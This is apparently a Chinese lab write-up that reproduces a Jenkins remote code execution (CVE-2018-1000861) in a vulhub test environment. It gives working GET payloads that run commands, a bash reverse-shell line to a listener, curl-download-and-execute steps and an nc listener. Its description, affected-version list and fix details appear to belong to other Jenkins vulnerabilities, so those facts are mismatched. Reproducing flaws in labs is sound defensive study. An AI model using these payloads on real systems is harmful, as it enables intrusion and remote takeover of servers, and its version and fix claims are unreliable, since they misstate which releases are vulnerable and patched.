最近在整理Jenkins相关漏洞,所以来复现下!!

1. 漏洞描述

Jenkins使用XStream库来序列化和反序列化XML。它的维护者最近发布了一个安全漏洞,任何能够向Jenkins提供XML并使用XStream的用户都可以使Java进程崩溃。Jenkins中,这通常适用于有权创建或配置项目(作业),视图或代理的用户。

2. 漏洞原理

该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中,Jenkins利用此通道来接收命令,恶意攻击者可以构造恶意攻击参数远程执行命令,从而获取系统权限,造成数据泄露。

3. 影响范围

Jenkins Version <= 2.56

Jenkins LTS Version <= 2.46.1

4. 漏洞利用

环境搭建:

直接使用vulhub上的环境即可(徐安装好docker和docker-compose)

(1) 下载vulhub项目,然后进入到  vulhub/jenkins/CVE-2018-1000861目录下

(2)  执行命令:

docker-compose up -d

来启动环境

(3) 访问: http://172.26.1.156:8080/

图片

漏洞复现:

1.此漏洞是没有回显的,所以我们这里直接反弹shell:

此漏洞的POC(直接GET请求即可):

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/CVE-2018-1000861_is_success%22.execute()}}
2.我们这里采取下载文件的方法来反弹shell

 (1) 先在我们的服务器上防止一个文本,内容为:

bash -i >& /dev/tcp/172.26.1.156/9999 0>&1

 (2) 然后我们替换POC中执行命令的部分为下载文件的命令:

curl -o /tmp/1.sh http://172.26.1.156:8080/1.txt

替换后的POC:

http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22curl+-o+/tmp/1.sh+http://172.26.1.156:8080/1.txt%22.execute()}}

 (3) 给予下载的脚本执行权限:

chmod 777 /tmp/1.sh

替换后的POC:

http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22chmod+777+/tmp/1.sh%22.execute()}}

 (4) 然后在我们接收shell的机器上监听之前写的端口:

nc -lvvp 9999

 (5)  直接bash执行我们下载的脚本

bash /tmp/1.sh

替换后的POC:

http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22bash+/tmp/1.sh%22.execute()}}

 (6) 回到我们监听端口的机器:

图片
 可以看到已经成功获取到了shell!

3.这里提供一个GitHub上的利用脚本:

https://github.com/orangetw/awesome-jenkins-rce-2019

执行案例:

图片

5. 漏洞防御

1)由于漏洞危害较大(直接获取系统权限),且目前已有漏洞利用工具,Jenkins官方已修复上述漏洞,并将SignedObject添加到远程黑名单中。建议您尽快对照检查自己所用的Jenkins是否在受影响范围,如受影响,请及时进行升级操作。

a:Jenkins主版本用户需升级到2.58版本

b:Jenkins LTS 版本用户需升级到2.46.2版本

下载链接:https://jenkins.io/download/

2)与此同时,建议您针对您的Jenkins后台进行安全加固,在安全组设置仅允许指定的办公IP可以访问管理,禁止对所有非授权用户的访问。

6. Reference

https://blog.csdn.net/JiangBuLiu/article/details/95487423

https://github.com/orangetw/awesome-jenkins-rce-2019